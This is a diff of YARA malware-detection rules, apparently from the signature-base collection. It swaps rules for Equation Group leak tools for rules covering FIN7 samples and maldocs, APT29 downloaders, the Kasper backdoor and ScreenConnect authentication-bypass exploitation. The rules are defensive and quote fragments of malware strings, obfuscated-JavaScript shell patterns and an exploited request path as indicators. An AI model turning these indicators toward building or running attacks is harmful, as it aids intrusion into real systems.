+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f15a8dfd3efb094ab73caebe9bffb5735762960445ca421cd49eaa091ecea300"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash2 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
+		hash1 = "d8bda53d7f2f1e4e442a0e1c30a20d6b0ac9c6880947f5dd36f78e4378b20c5c"
 
 	strings:
-		$s4 = "Fragment: Packet too small to contain RPC header" fullword ascii
-		$s5 = "Fragment pickup: SmbNtReadX failed" fullword ascii
+		$s1 = "GetL3st3rr" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ETBL_ETRE_10 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_EXE_Sample_Aug18_10 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects sample from FIN7 report in August 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7dfff868-cb66-51c0-a7c7-5cc872232b86"
-		date = "2017-04-15"
+		id = "2c6f557e-31d3-5377-a3fa-4f1507f28386"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3441-L3458"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bc30c62da7a7fd9144efef6f44c50552234f372c38c4479a024fbb0ca72530de"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L231-L248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d6dba0c858eacea5bd67682a588105a2ff09d10bb60d9888ace07609c9b33de"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
-		hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
+		hash1 = "8cc02b721683f8b880c8d086ed055006dcf6155a6cd19435f74dd9296b74f5fc"
 
 	strings:
-		$x1 = "Probe #2 usage: %s -i TargetIp -p TargetPort -r %d [-o TimeOut] -t Protocol -n IMailUserName -a IMailPassword" fullword ascii
-		$x6 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER : 0x%08X" fullword ascii
-		$s19 = "Sending Implant Payload.. cEncImplantPayload size(%d)" fullword ascii
+		$c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+               00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43
+               00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
+               00 20 00 31 00 20 00 2D 00 20 00 31 00 39 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_ETBL_ETRE_EVFR_11 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_Sample_EXE_Aug18_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects FIN7 Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d6848065-377b-5eda-821d-d2cc16f483cc"
-		date = "2017-04-15"
+		id = "7c66a234-9dee-5279-b855-892b12d036ff"
+		date = "2018-08-01"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3460-L3479"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d43aa4823de248308597bd02cd27e598808b94e1ad7348ddb9e27d8a37ac426"
+		reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L250-L275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "780e2cb9a704e0df0383737928c2cfc8aa5de5a8f3c9dc67de866d5ac73b8402"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
-		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash3 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
-		hash4 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
-		hash5 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+		hash1 = "608003c2165b0954f396d835882479f2504648892d0393f567e4a4aa90659bf9"
+		hash2 = "deb62514704852ccd9171d40877c59031f268db917c23d00a2f0113dab79aa3b"
+		hash3 = "16de81428a034c7b2636c4a875809ab62c9eefcd326b50c3e629df3b141cc32b"
+		hash4 = "3937abdd1fd63587022ed540a31c58c87c2080cdec51dd24af3201a6310059d4"
+		hash5 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
 
 	strings:
-		$x1 = "Target is vulnerable" fullword ascii
-		$x2 = "Target is NOT vulnerable" fullword ascii
+		$s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
+		$s2 = "dx=%d, dy=%d" fullword ascii
+		$s3 = "Error with JP2H box size" fullword ascii
+		$co1 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+               00 00 00 00 00 00 00 00 00 00 00 2E 63 6F 64 65
+               00 00 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and all of ($s*) and $co1 at 0x015D
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_EVFR_Ridearea2_12 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_FIN7_Msdoc_Sep21_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects MalDocs used by FIN7 group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "63c7733c-9942-56f3-95cc-f3e72b693739"
-		date = "2017-04-15"
+		id = "4fbde087-ec1e-5614-af1e-f342b1766fa2"
+		date = "2021-09-07"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3481-L3498"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0119cd825c02a094ddd76c5cb27bee6cef112f25333eab62017448804b29286e"
-		score = 75
+		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L277-L301"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ffc91cdad91b8ab24840c6ef1a6c39aad081d986c21a88b3f2ea3ec1bcd3b52b"
+		score = 85
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
-		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
-		hash4 = "e702223ab42c54fff96f198611d0b2e8a1ceba40586d466ba9aadfa2fd34386e"
+		hash1 = "d60b6a8310373c9b84e6760c24185535"
 
 	strings:
-		$x2 = "** CreatePayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+		$xc1 = { 00 4A 00 6F 00 68 00 6E 00 0B 00 57 00 31 00 30
+               00 50 00 72 00 6F 00 4F 00 66 00 66 00 31 00 36 }
+		$s1 = "word_data.bin" ascii fullword
+		$s2 = "V:\\DOC\\For_JS" ascii
+		$s3 = "HomeCompany" ascii
+		$s4 = "W10ProOff16" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0xcfd0 and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_13 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_OBFUSC_JS_Sept21_2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects JavaScript obfuscation as used in MalDocs by FIN7 group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8bc3c47c-7357-5692-86aa-e43b40f8c1ab"
-		date = "2017-04-15"
+		id = "5ab9cd60-077c-5066-bd2f-8da261aae1e0"
+		date = "2021-09-07"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3500-L3516"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a1859266b859d4da660a7fc7d0015954ff100c39b941b5461ba0c99b5103547"
-		score = 75
+		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fin7.yar#L303-L323"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "235ff8fe5c033fd90d77ecf9ce80b59be7bf6ae5a2863a1c9365d8b125a7ff3f"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
-		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
 
 	strings:
-		$x1 = "Skip call to PackageRideArea().  Payload has already been packaged. Options -x and -q ignored." fullword ascii
-		$s2 = "ERROR: pGvars->pIntRideAreaImplantPayload is NULL" fullword ascii
+		$s1 = "=new RegExp(String.fromCharCode(" ascii
+		$s2 = ".charCodeAt(" ascii
+		$s3 = ".substr(0, " ascii
+		$s4 = "var shell = new ActiveXObject(" ascii
+		$s5 = "= new Date().getUTCMilliseconds();" ascii
+		$s6 = ".deleteFile(WScript.ScriptFullName);" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 1 of them )
+		filesize <6000KB and (4 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Nameprobe_SMBTOUCH_14 : FILE
+rule SIGNATURE_BASE_M_APT_Downloader_BEATDROP : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b3b7037b-d08e-5b32-93ec-870f8ce088ac"
-		date = "2017-04-15"
+		description = "Rule looking for BEATDROP malware"
+		author = "Mandiant"
+		id = "5720870e-8989-59f2-998b-019084d091ce"
+		date = "2022-04-28"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3518-L3535"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c60fc34aa42810a5622fbe53122ded4ffb4ee321fed1badd481ce5c2ae5225ef"
-		score = 75
+		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_apr22.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7a766682cc9a057798cc569111bfcb611648c4a052c0dd664d983b80d5891255"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "fbe3a4501654438f502a93f51b298ff3abf4e4cad34ce4ec0fad5cb5c2071597"
-		hash2 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
 
 	strings:
-		$s1 = "DEC Pathworks TCPIP service on Windows NT" fullword ascii
-		$s2 = "<\\\\__MSBROWSE__> G" fullword ascii
-		$s3 = "<IRISNAMESERVER>" fullword ascii
+		$ntdll1 = "ntdll" ascii fullword
+		$ntdll2 = "C:\\Windows\\System32\\ntdll.dll" ascii fullword nocase
+		$url1 = "api.trello.com" ascii
+		$url2 = "/members/me/boards?key=" ascii
+		$url3 = "/cards?key=" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <1MB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_EVFR_RPC2_15 : FILE
+rule SIGNATURE_BASE_M_APT_Downloader_BOOMMIC : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f671a10d-f0b8-5343-97b5-e60b7f2f0acf"
-		date = "2017-04-15"
+		description = "Rule looking for BOOMMIC malware"
+		author = "Mandiant"
+		id = "34ea08a6-5d6f-5cdd-a629-fa36313c98f7"
+		date = "2022-04-28"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3537-L3555"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6c61d17e1a985deb31bd6e1d603283e77df477b52fce9eb8b6cb4e99b2f9c4dc"
+		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_apr22.yar#L19-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c561b19464597f896d31307c0383fbc639cf4211600513e1251a3f59405bfed6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
-		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
-		hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
 
 	strings:
-		$x1 = "** SendAndReceive ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
-		$s8 = "Binding to RPC Interface %s over named pipe" fullword ascii
+		$loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }
+		$loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }
+		$func1 = "GetComputerNameExA" ascii
+		$func2 = "HttpQueryInfoA" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
+		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <1MB and (($loc_10001000 and $func1) or ($loc_100012fd and $func2))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_EVFR_16 : FILE
+rule SIGNATURE_BASE_SUSP_SFX_Runprogram_Wscript : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects suspicious SFX that runs wscript.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2749227b-13e2-5669-a557-567ebd170a2f"
-		date = "2017-04-15"
+		id = "e12cea50-a939-5f69-963c-d6d1cb133e92"
+		date = "2018-09-27"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3557-L3578"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e6c4e013727bbbf3859374af46553067a9fc782f2eca582ea13d8eab03380ce"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_sfx.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d00d83d4b25d80d0ca44fe1c3f3cd33ae5539d2d79c84bfdfcc470669d4f78c"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
-		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
-		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+		hash1 = "e3bb02c5985fc64759b9c2d3c5474d46237ce472b4a0101c6313dafa939de5a9"
+		hash2 = "0ecf88d4b32895b4819dec3acb62eaaa7035aa6292499d903f76af60fcec0d6a"
+		hash3 = "a7a48f5220bd1ebe04de258d71fdd001711c165d162bd45e8cfbe8964eddf01c"
+		hash4 = "b6fa4889d8a87d45706d92714d716025bf223c01929755321faac1ab0db94a88"
+		hash5 = "7117b39890659c7dd11e15092c5e5ea9495bec0ff2b6e25254f6e343ed6ca33d"
+		hash6 = "ec2afb63555986fa55b7f98ae57c57e1138acb404a0dd2fe4f3d315730b9898e"
 
 	strings:
-		$x1 = "ERROR: TbMalloc() failed for encoded exploit payload" fullword ascii
-		$x2 = "** EncodeExploitPayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
-		$x4 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
-		$s6 = "Sending Implant Payload (%d-bytes)" fullword ascii
-		$s7 = "ERROR: Encoder failed on exploit payload" fullword ascii
-		$s11 = "ERROR: VulnerableOS() != RET_SUCCESS" fullword ascii
+		$x1 = "RunProgram=\"wscript.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <10000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ETBL_ETRE_SMBTOUCH_17 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Kaspermalware_Oct17_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Kasper Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "88bf610d-1c6e-554a-af82-46b5eb3cc6a5"
-		date = "2017-04-15"
+		id = "7201d8ee-50ee-5a5c-a5b8-ee36c78b0d6e"
+		date = "2017-10-24"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3580-L3597"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef86350732b5064035ff58b63202be29e906d2b566af105f03298e3e339eda52"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kasper_oct17.yar#L13-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "15758407fb3039f1453f13d579d7df9525645e4717078f6b1fa482ab335e3a56"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
-		hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
-		hash3 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
+		hash1 = "758bdaf26a0bd309a5458cb4569fe1c789cf5db087880d6d1676dec051c3a28d"
 
 	strings:
-		$x1 = "ERROR: Connection terminated by Target (TCP Ack/Fin)" fullword ascii
-		$s2 = "Target did not respond within specified amount of time" fullword ascii
+		$x1 = "\\Release\\kasper.pdb" ascii
+		$x2 = "C:\\D@oc@um@en@ts a@nd Set@tings\\Al@l Users" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <7000KB and (pe.imphash()=="2bceb64cf37acd34bc33b38f2cddfb61" or 1 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Scanner_Output : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Connectwise_Screenconnect_Authentication_Bypass_Feb_2024_Exploitation_IIS_Logs
 {
 	meta:
-		description = "Detects output generated by EQGRP scanner.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a73bc98f-f7b1-5f16-bf23-1d5c9a7a371b"
-		date = "2017-04-17"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3609-L3626"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a8ac7e7f14d72798a1f6658eae4c66d871a525c8cb49afa2ca8656047da20524"
+		description = "Detects an http request to '/SetupWizard.aspx/' with anything following it, which when found in IIS logs is a potential indicator of compromise of the 2024 ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+		author = "Huntress DE&TH Team (modified by Florian Roth)"
+		id = "2886530b-e164-4c4b-b01e-950e3c40acb4"
+		date = "2024-02-20"
+		modified = "2024-02-21"
+		reference = "https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L3-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6c7a3aa2ed98e754f9523c55eb035c7bc5f8aea96a6f86c729e9658d78710fb"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s0 = "# scanning ip  " ascii
-		$s1 = "# Scan for windows boxes" ascii fullword
-		$s2 = "Going into send" ascii fullword
-		$s3 = "# Does not work" ascii fullword
-		$s4 = "You are the weakest link, goodbye" ascii fullword
-		$s5 = "rpc   Scan for RPC  folks" ascii fullword
+		$s1 = " GET /SetupWizard.aspx/" ascii
+		$s2 = " POST /SetupWizard.aspx/" ascii
+		$s3 = " PUT /SetupWizard.aspx/" ascii
+		$s4 = " HEAD /SetupWizard.aspx/" ascii
 
 	condition:
-		filesize <1000KB and 2 of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_LNK_Embedded_Worddoc : FILE
+rule SIGNATURE_BASE_SUSP_Screenconnect_User_Poc_Com_Unused_Feb24 : FILE
 {
 	meta:
-		description = "check for LNK files with indications of the Word program or an embedded doc"
-		author = "Greg Lesnewich"
-		id = "9677d41a-9d29-510c-98cd-122dc0ca9606"
-		date = "2023-01-02"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L3-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
-		logic_hash = "a53fbfe0ccb5a4ab2320cde10d17f29770d888cf21cda4fdccc3d7ae8d123293"
+		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account wasn't actually used yet to login"
+		author = "Florian Roth"
+		id = "c57e6c6a-298f-5ff3-b76a-03127ff88699"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L20-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2433ad11ca1d9f970eb3c536a13f07e808c2a0b8b0dd625dffbe4947268ab8f5"
 		score = 65
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		DaysofYARA = "2/100"
 
 	strings:
-		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
-		$icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
+		$a1 = "<Users xmlns:xsi="
+		$a2 = "<CreationDate>"
+		$s1 = "@poc.com</Email>"
+		$s2 = "<LastLoginDate>0001"
 
 	condition:
-		uint32be(0x0)==0x4C000000 and filesize >10KB and any of them
+		filesize <200KB and all of ($a*) and all of ($s*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_LNK_Smallscreensize
+rule SIGNATURE_BASE_SUSP_Screenconnect_User_Poc_Com_Used_Feb24 : FILE
 {
 	meta:
-		description = "check for LNKs that have a screen buffer size and WindowSize dimensions of 1x1"
-		author = "Greg Lesnewich"
-		id = "6194a76b-36d6-51d1-8d53-2e11172e29d2"
-		date = "2023-01-01"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L22-L44"
